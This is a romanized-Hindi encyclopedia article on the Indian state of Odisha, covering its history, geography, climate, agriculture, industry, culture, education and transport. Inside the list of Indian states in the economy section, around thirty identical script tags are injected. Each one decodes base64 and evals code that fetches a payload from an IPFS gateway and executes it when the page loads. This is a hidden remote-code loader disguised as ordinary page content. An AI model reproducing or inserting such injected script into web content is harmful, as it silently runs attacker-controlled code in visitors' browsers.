ओडिशा

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odisha
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nam	kaliang, utkal, utkalarat, udr, odr, odrabish
rajadhani	bhuvaneshvar
rajabhasha(ean)	u diya bhasha
sthapana	1 aprॅl, 1936
janasankhya	3,68,04,660
· ghanatv	236 /varg kimi
kshetraphal	1,55,707 varg kimi
bhaugolik nirdeshaank	20°09′N 85°30′E
tapaman	25° C (ausat)
· grishm	35-40° C (adhikatam)
· sharad	3-4° C (nyoonatam)
varsha	150 semi mimi
zile	30
sabase b da nagar	bhuvaneshvar
mukhy paryatan sthal	konark, puri, liangaraj mandir, soory mandir konark
liang anupat	1000:972 ♂/♀
saksharata	63.08%
· stri	50.51%
· purush	71.35%
rajyapal	es. si. jamir
mukhyamantri	navin patanayak
vidhanasabha sadasy	147
lokasabha kshetr	21
rajyasabha sadasy	10
bahari k diyaan	adhikarik vebasait
adyatan‎	14:16, 23 mee 2014 (IST)
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odisha bharat ka ek prant hai jo bharat ke poorvi tat par basa hai. odisha uttar mean jharakhand, uttar poorv mean pashchim bangal dakshin mean aandhr pradesh aur pashchim mean chhattisagadh se ghira hai tatha poorv mean bangal ki kha di hai. bhaugolik lihaz se isake uttar mean chhota nagapur ka pathar hai jo apekshakat kam upajaoo hai lekin dakshin mean mahanadi, brahmani, kaliandi aur vaitarani nadiyoan ka upajaoo maidan hai. yah poora kshetr mukhy roop se chaval utpadak kshetr hai.

itihas

odisha rajy prachin samay mean 'kaliang' ke nam se vikhyat tha. eesa poorv tisari shatabdi (261 ee.poo.) mean maury samrat ashok ne kaliang vijay karane ke lie ek shaktishali sena bheji thi, jisaka kaliang ke nivasiyoan ne jamakar samana kiya. samrat ashok ne kaliang to jita, parantu yuddh ke bhishan sanhar se samrat ka man mean vitrishna paida ho gee aur ashok ki mrityu ke bad kaliang phir se svadhin ho gaya. eesa poorv doosari shatabdi mean kharavel raja ke adhin kaliang ek shaktishali samrajy ban gaya. kharavel ki mrityu ke bad odisha ki khyati lupt ho gee. chauthi shatabdi mean vijay par nikale samudragupt ne odisha par akraman kiya aur is pradesh ke paanch rajaoan ko parajit kiya. sanh 610 mean odisha par shashaank naresh ka adhikar ho gaya. shashaank ke nidhan ke bad harshavardhan ne odisha par vijay prapt ki. [[chitr:High-Court-Orissa.jpg|odisha uchch nyayalay, katak
Orissa High Court, Cuttack|left|thumb|250px]] satavian shatabdi mean odisha par gang vansh ka shasan raha. sanh 795 mean mahashivagupt yajati dvitiy ne odisha ka shasan bhar sanbhala aur odisha ke itihas ka sabase gauravashali adhyay shuroo hua. unhoanne kaliang, kanagoda, utkal aur koshal ko milakar kharavel ki bhaanti vishal samrajy ki nianv rakhi. gang vansh ke shasakoan ke samay mean odisha rajy ki bahut unnati huee. is rajavansh ke shasak raja narasianh dev ne konark ka vishv bhar mean prasiddh soory mandir banavaya tha. 16 vian shatabdi ke lagabhag madhy se 1592 tak odisha paanch muslim rajaoan dvara shasit raha. sanh 1592 mean akabar ne odisha ko apane adhin kar apane shasan mean shamil kar liya. mugaloan ke patan ke pashchath odisha par marathoan ka adhikar raha. sanh 1803 mean british raj se pahale odisha maratha shasakoan ke adhin raha. 1 aprail sanh 1936 ko odisha ko svatantr praant banaya gaya. svatantrata ke bad odisha tatha isake asapas ki riyasatoan ne bharat sarakar ko apani satta sauanp di. riyasatoan (gavarnar ke adhin praantoan) ke vilay sanbandhi adesh 1949 ke aantargat janavari 1949 mean odisha ki sabhi riyasatoan ka odisha rajy mean sampoorn vilay ho gaya. odisha ke kaliang, utkal aur udr jaise kee prachin nam haian, parantu yah pradesh mukhyat: bhagavan jagannath ki bhoomi ke lie prasiddh hai. bhagavan jagannath odisha ke samajik, saanskritik aur dharmik jivan se bahut gahare jude hue haian. vibhinn samay mean odisha ke logoan par jain, eesaee aur islam dharmo ka prabhav pada.

bharatiy svatantrata andolan mean yogadan

bharatiy svatantrata andolan mean udisa ke anek svatantrata senaniyoan ne yogadan diya hai jisamean se pramukh haian- subhash chandr bos · gopabandhu das · hare krishna mehatab · jagabandhu bakhshi ·

bhoogol

u disa rajy 17.780 aur aur 22.730 akshaansh aur 81.37 poorv aur 81.53 poorv deshaantar ke bich p data hai. bhaugolik roop se yah rajy uttar-poorv mean pashchim bangal, uttar mean jharakhand, pashchim mean chhattisagadh aur dakshin mean aandhr pradesh aur poorv mean bangal ki kha di se ghira hua hai. rajy ka tatiy kshetr lagabhag 450 kilomitar tak hai aur is kshetr mean yah 155, 707 vargakilomitar tak age badh gaya hai. yah bharat ke kul 4.87 % kshetr ke barabar hai. rajy ko samanyat: char bhaugolik kshetroan mean baanta ja sakata hai. ye haian - [[chitr:Mahanadi-River.jpg|thumb|250px|left|mahanadi, odisha
Mahanadi, Orissa]]

1. uttari pathar,
2. madhy nadi thala,
3. poorvi pahadiyaan aur
4. tatavarti maidan.

jalavayu

odisha ushnakatibandhiy ardr-shushq (ushnakatibandhiy savana ghas ke maidan) jalavayu pradesh mean sthit hai. katak mean ausat tapaman lagabhag 26° se. rahata hai. janavari sabase sard mahina hai, jisamean ausat tapaman 20° se. rahata hai, lekin mee, jo sabase garm mahina hai, mean ausat tapaman 33° se. tak badh jata hai. ooanchaee par sthit paha diyaan grishm rritu ki garmi se rahat deti haian, jo madhy bhoobhag ke besin mean khas taur par asahm ho jati haian. varsha dasin-pashchim m aaunasoon (joon se aktoobar) ke mahinoan mean hoti hai. rajy mean ausat varshik varsha lagabhag 1,800 mimi hai, jo poorvi ghat mean aur bhi adhik hoti hai. chilka jhil ke tatiy ilaqe sabase shushk haian, jahaan ausat varsha 939 mimi hai.

arthavyavastha

krishi

dekhean:bharat ek jhalak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> telangana <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandhr pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arunachal pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> asam 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> karnatak <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> keral <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> maharashtr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> manipur <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> meghalay <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mizoram <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagalaiand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u disa <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panjab <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sikkim <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tamilanadu <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tripura <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttarakhand <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar pradesh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> pashchim bangal <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aandaman evan nikobar dvipasamooh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chanh‍digadh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dadara tatha nagar haveli <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> daman aur div <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> lakshadvip <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> puducheri 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odisha ki arthavyavastha mean krishi ki mahattvapoorn bhoomika hai. odisha ki lagabhag 80pratishat janasankhya krishi kary mean lagi hai, halaanki yahaan ki adhikaansh bhoomi anupajaoo ya ek se adhik varshik fasal ke lie anupayukt hai. odisha mean lagabhag 40 lakh khet haian, jinaka ausat akar 1.5 hekteyar hai, lekin prati vyakti krishi kshetr 0.2 hekteyar se bhi kam hai. rajy ke kul kshetraphal ke lagabhag 45 pratishat bhag mean khet hai. isake 80 pratishat bhag mean chaval ugaya jata hai. any mahattvapoorn fasalean tilahan, dalahan, joot, ganna aur nariyal hai. soory ke prakash ki upalabdhata mean kami, madhyam gunavatta vali mitti, urvarakoan ka nyoonatam upayog aur manasooni varsha ke samay v matra mean vividhata hone ke karan yahaan upaj kam hoti hai aur isaki ginati desh ke garib rajyoan mean hoti hai.

chooanki bahut se gramin lagatar sal bhar rozagar nahian prapt kar pate, isalie krishi- kary mean lage bahut se parivar gair krishi karyoan mean bhi sanlagn hai. janasankhya vriddhi ke karan prati vyakti krishi bhoomi ki upalabdhata kam hoti ja rahi hai. bhoo- adhigrihan par sima lagane ke prayas adhikaanshat: saphal nahian rahe. halaanki rajy dvara adhigrihit kuchh bhoomi svaichchhik taur par bhootapoorv kashtakaroan ko de di gee hai.

chaval odisha ki mukhy fasal hai. 2004 - 2005 mean 65.37 lakh mi. tan chaval ka utpadan hua. ganne ki kheti bhi kisan karate haian. uchch fasal utpadan praudyogiki, samanvit poshak prabandhan aur kit prabandhan ko apanakar krishi ka vistar kiya ja raha hai. alag -alag phaloan ki 12.5 lakh aur kajoo ki 10 lakh tatha sabjiyoan ki 2.5 lakh kalamean kisanoan mean vitarit ki gee haian. rajy mean pyaj ki fasal ko badhava dene ke lie achchhi kism ki pyaj ke 300 kviantal bij baante ge haian jinase 7,500 ekad zamin pyaj ugayi jaegi. rashtriy bagavani mishan ke aantargat gulab, guladaoodi aur geande ke phooloan ki 2,625 pradarshaniyaan ki geean. kisanoan ko dhan ka nyoonatam samarthan mooly dilane ke lie odisha rajy nagarik apoorti nigam li. (pi e si), markaphed, naphed adi ejeansiyoan ke dvara 20 lakh mi. tan chaval kharidane ka lakshy banaya hai. sookhe ki ashanka se grast kshetroan mean laghu jalashay lie 13 lakh hekteyar kshetr mean 2,413 laghu jalashay vikasit karane ka lakshy hai.

sianchaee aur bijali

badi, manjholi aur chhoti pariyojanaoan aur jal dohan pariyojanaoan se sichaanee kshamata ko badhane ka prayas kiya gaya hai-

• varsh 2004 - 2005 tak 2,696 lakh hekteyar bhoomi ki sianchaee ki vyavastha poorn ki ja chuki hai.
• 2005-06 ke satr mean 12,685 hekteyar sianchaee ki chhah sianchaee pariyojanaoan ko chihnit kiya gaya hai jisamean se char yojanaean lakshy prapt kar chuki haian.
• 2005 - 2006 mean odisha lipht sianchaee nigam ne 'bijoo krishak vikas yojana' ke aantargat 500 lipht sianchaee paiant banaye haian aur 1,200 hekteyar ki sianchaee kshamata prapt ki hai.
• 2004 - 2005 mean rajy mean bijali ki kul utpadan kshamata 4,845.34 megavat thi tatha kul srotoan se prapt bijali kshamata 1,995.82 megavat thi.
• march 2005 tak rajy ke kul 46,989 gaanvoan mean se 37,744 gaanvoan mean bijali pahuancha di gee hai.

udyog

udyog protsahan evan nivesh nigam li., audyogik vikas nigam limited aur odisha rajy ilektr aauniks vikas nigam ye tin pramukh ejeansiyaan rajy ke udyogoan ko arthik sahayata pradan karati hai. ispat, elyoominiyam, telashodhan, urvarak adi vishal udyog lag rahe haian. rajy sarakar laghu, gramin aur kutir udyogoan ko protsahit karane ke lie chhoot dekar vittiy madad de rahi hai. 2004 - 2005 varsh mean 83,075 laghu udyog ikaee sthapit ki gayi. [[chitr:Sun-Temple-Konark.jpg|thumb|250px|soory mandir, konark
Sun Temple, Konark]] audyogik vikas karane ke lie rozagar ke avasar aur arthik vikas dar ko badhane ke lie odisha udyog (suvidha) adhiniyam, 2004 ko lagoo kiya hai jisase nivesh prastavoan ke kam samay mean nibatara aur nirikshan kary ho sake. nivesh ko sahi disha mean prayog karane ke lie dhaanchagat suvidha mean sudhar ko prathamikata di gee hai. soochana praudyogiki mean dhaanchagat vikas karane ke lie bhuvaneshvar mean ek niryat sanvarddhan audyogik park sthapit kiya gaya hai. rajy mean laghu aur madhyam udyogoan ko badhane ke lie 2005 - 2006 mean 2,255 laghu udyog sthapit kie gaye, in yojanaoan mean 123.23 karo d rupaye ka nivesh kiya gaya aur lagabhag 10,308 vyaktiyoan ko kam mila.

shramikoan aur unake parivar ke sadasyoan ko sarakari aspataloan mean svasthy suvidhaean di gee haian. udyogoan mean lage bal mazadooroan ko mukt kiya gaya aur aupacharik shiksha aur vyavasayik prashikshan ke lie rashtriy bal shramik pariyojana ke aantargat pravesh diya gaya. rajy bhar mean 18 ziloan mean 18 balashramik pariyojanaean kriyanvit haian. lagabhag 33,843 bal shramikoan ko rashtriy bal shramik pariyojana dvara sanchalit skooloan mean pravesh dilaya gaya hai aur 64,885 bal shramikoan ko skooli shiksha ke madhyam se mukhyadhara mean jodane ka prayas kiya gaya. shramikoan ko diya jane vala nyoonatam vetan badhaya gaya.

odisha ke audyogik sansadhan ullekhaniy haian. kromait, maianganiz ayask aur dolomait ke utpadan mean odisha bharat ke sabhi rajyoan se age hai. yah uchch gunavatta ke lauh- ayask ke utpadan mean bhi agrani hai. dheankanal ke bhitari zile mean sthit mahattvapoorn talachar ki khanoan se prapt koyala rajy ke pragalan v urvarak utpadan ke lie oorja upalabdh karata hai. stil, alauh pragalan aur urvarak udyog rajy ke bhitar bhagoan mean keandrit haian, jabaki adhikaansh dhalaeeghar, rel karyashalaean, kaanch nirman aur kagaz ki milean katak ke asapas mahanadi ke delta ke nikat sthit hai. jisaka upayog upamahadvip ki sarvadhik mahattvakaankshi bahuuddeshiy pariyojana, hirakud baandh v machhakud jalavidyut pariyojana dvara kiya ja raha hai. ye donoan bahut si any chhoti ikaiyoan ke sath samooche nichale besin ko badh niyantran, sianchaee aur bijali upalabdh karate hai.

khanij

b de udyog mukhyat: khanij adharit haian, jinamean raurakela sthit ispat v urvarak sanyantr, jodo v rayag da mean lauh maianganiz sanyatr, raj gaangapur v belapaha d mean apavartak utpadan kar rahe karakhane, chaudvar (naya nam taangi chaudvar) mean rephrijaretar nirman sanyantr aur rajagaangapur mean ek simeant karakhana shamil haian. rayag da v chaudvar mean chini v kagaz ki tatha brajarajanagar mean kagaz ki b di milean haian; any udyogoan mean vastr, kaanch ailuminiyam dhatupiand v kebal aur bhari mashin upakaran shamil haian. [[chitr:Sand-Art-Puri-Orissa.jpg|thumb|250px|left|ret kala, puri]]

soochana praudyogiki

soochana praudyogik mean rajy mean santosh janak pragati ho rahi hai. bhuvaneshvar ki inphositi mean vikas keandr kholane ka prayas chal raha hai. odisha sarakar aur neshanal ianstityoot aauph gavarneans tatha neshanal inpharmetiks seantar ne sanyukt roop ek paradarshi aur kushal pranali shuroo ki hai. rajy mukhyalay ko zila mukhyalayoan, sab divijan mukhyalayoan, blak mukhyalayoan se jodane ke lie ee-gavarneans par adharit kshetr netavark se joda ja raha hai. u diya bhasha ko kanpyootar mean lane ke lie ‘bharatiy bhashaoan ke lie praudyogiki vikas’ karyakram ke aantargat udiya bhasha ka paikej taiyar kiya ja raha hai.

matsy palan aur pashu sansadhan vikas

rajy ki krishi niti mean adhunik vaijnanik takaniki ka prayog karate hue, doodh, machhali aur maans utpadan ke vikas ko vishesh roop se vikasit karane ka prayas karake kul dugdh utpadan 36 lakh litar pratidin arthath 3 lakh litar se adhik tak pahuancha diya gaya hai. deyari utpadan ke vikas ke lie odisha dugdh phedareshanamean rajy ke sabhi 30 ziloan ko sammilit gaya hai. phedareshan ne dugdh sanrakshan ko badhakar 2.70 lakh litar pratidin tak kar diya hai. ‘staip’ karyakram ke tahat phedareshan dvara 17 ziloan mean ‘mahila deyari pariyojana’ chal rahi hai. rajy mean 837 mahila deyari sahakari samitiyaan haian, jinamean 60,287 mahilaean karyarat haian.

saanskritik jivan

odisha ki samriddh kalatmak virasat hai aur isane bharatiy kala evan vastushilp ke sarvashreshth udaharanoan ka srijan kiya hai. bhittichitroan patthar v lak di par naqqashi dev chitr (patt chitrakala ke nam se vikhyat) aur ta dapatroan par chitrakari ke madhyam se kalatmak paranparaean aj bhi qayam haian. hastashilp kalakar chaandi mean behad mahin jali ki kataee ki alankrit shilp kala ke lie vikhyat haian. [[chitr:Odissi-Dance.jpg|thumb|250px|odisi nrity, odisha
Odissi Dance, Orissa]]

nrity

janajatiy ilakoan mean kee prakar ke lokanrity hai. madal v baansuri ka sangit gaanvo mean am hai. odisha ka shastriy nrity odisa 700 varshoan se bhi adhik samay se astitv mean hai. moolat: yah eeshvar ke lie kiya jane vala mandir nrity tha. nrity ke prakar, gati, mudraean aur bhav-bhangimaean b de mandiroan ki divaroan par, visheshakar konark mean shilp v ubhari huee naqqasi ke roop mean aankit haian, is nrity ke adhunik pravartakoan ne ise rajy ke bahar bhi lokapriy banaya hai. mayoorabhanj aur sarayakela pradeshoan ka chhoo nrity (mukhaute pahane kalakaroan dvara kiya jane vala nrity) odisha ki sanskriti ki ek any dharohar hai. 1952 mean katak mean kala vikas keandr ki sthapana ki gee, jisamean nrity v sangit ke protsahan ke lie ek chhah varshiy avadhi ka shikshan pathayakram hai. neshanal myoojik esosieshan (rashtriy sangit samiti) bhi is uddeshy ke lie hai. katak mean any prasiddh nrity v sangit kendr hai: utkal sangit samaj, utkal smriti kala mandap aur mukti kala mandir.

tyohar

odisha ke anek apane paranparik tyohar haian. isaka ek anokha tyohar aktoobar ya navanbar (tithi hiandoo panchaang ke anusar tay ki jati hai) mean manaya jane vala boita bandana (naukaoan ki pooja) anushtha hai. poornima se pahale lagatar paanch dinoan tak log nadi kinaroan ya samudr tatoan par ekatr hote haian aur chhote-chhote nauka roop tairate haian. jo isaka pratik hai ki ve bhi apane poorvajoan ki tarah sudoor sthanoan (maleshiya, iandoneshiya) ki yatra par nikaleange. puri mean jagannath (brahmaand ka svami) mandir hai, jo bharat ke sarvadhik prasiddh mandiroan mean se ek hai. yahaan hone vali varshik rathayatra lakhoan logoan ko akrisht karati hai. yahaan se kuchh hi kilomitar ki doori par bhagavan soory ke rath ke akar mean bana konark mandir hai. yah mandir madhyakalin u diya sanskriti ke utkrisht udaharanoan mean se ek hai.

shiksha

• 1947 ke bad shaikshanik sansthanoan mean ullekhaniy vriddhi huee hai.
• yahaan paanch vishvavidyalay (aur kee sanbaddh mahavidyalay) haian, jinamean utkal vishvavidyalay aur u disa krishi evan prodyogiki vishvavidyalay sabase b de v vikhyat haian.

[[chitr:Chilka-Lake-Orissa.jpg|thumb|250px|left|chilka jhil, u disa]]

• shaikshanik sansthanoan ke nam is prakar hai:-
  • k aaulej aauf ianjiniyariang aiand teknol aauji (bhuvaneshvar),
  • iandira gaandhi ianstityoot aauf teknol aauji (talachar),
  • ianstityoot aauf phiziks (bhuvaneshvar),
  • u disa ianjiniyariang k aaulej (bhuvaneshvar),
  • rijanal ianjiniyariang k aaulej (raukela),
  • revanash aau k aaulej (katak),
  • stivart saians k aaulej (katak),
  • yoonivarsiti k aaulej aauf ianjiniyariang (sanbalapur),
  • vi. es. es. medikal k aaulej (burala) aur
  • zeviyar ianstityoot aauf mainejameant (bhuvaneshvar) any mahattvapoorn shaikshanik sansthan haian.
• in sansthanoan ki upasthiti ke bavajood u disa ki janasankhya ka ek chhota sa bhag hi vishvavidyalay star tak shikshit hai aur rajy ki saksharata dar (63.61 pratishat) rashtriy ausat (65.38 pratishat) se kam hai.

parivahan

1947 se pahale odisha mean sanchar suvidhaean avikasit thian, lekin isamean se rajava doan ke vilay aur khanij sansadhanoan ki khoj se achchhi s dakoan ke sanjal ki avashyakata mahasoos ki gee. adhikaansh pramukh nadiyoan par pul nirman jaise b de vinirman karyakram odisha sarakar dvara shuroo kie ge. mahanadi ke muhane par paradip mean sabhi mausamoan ke lie upayukt, gahare bandaragah ka nirman kiya gaya hai. yah bandaragah rajy ke niryat, visheshakar koyale ke niryat ka keandr ban gaya hai. thumb|250px|odisha ka manachitr
Orrisa Map rajy mean vikas dar badhane ke lie parivahan ki anek yojanaoan ko kriyanvit kiya ja raha hai-

sadakean

• 2004 - 05 tak rajy mean sadakoan ki kul lanbaee 2,37,332 ki.mi. thi. isamean rashtriy rajamargoan ki kul lanbaee 3,595 ki.mi., eksapres rajamargoan ki kul lanbaee 29 kilomitar, rajakiy rajamargoan ki kul lanbaee 5,102 ki.mi. zila mukhy s dakoan ki kul lanbaee 3,189 ki.mi., any zila s dakoan ki kul lanbaee 6,334 ki.mi. aur gramin s dakoan ki kul lanbaee 27,882 ki.mi. hai. panchayat samiti s dakoan ki kul lanbaee 1,39,942 ki.mi. aur 88 ki.mi. gridako s dakean haian.

relave

31 march 2004 tak rajy mean 2,287 kilomitar lanbi badi rel lainean aur 91 kilomitar chhoti lainean thi.

uddayan

bhuvaneshvar mean havaee adde ka adhunikikaran ka kary ho raha hai. yahaan se dilli, kolakata, chennee, nagapur aur haidarabad ke lie sidhi u danean haian. is samay rajy bhar mean 13 havaee pattiyaan aur 16 helipaid ki vyavastha hai.

bandaragah

1. REDIRECTsaancha:mukhy

paradip rajy ka ek matr mukhy bandaragah hai. gopalapur ko poore sal kam karane vale bandaragah ke roop mean vikasit karane ka kary pragati par hai.

paryatan

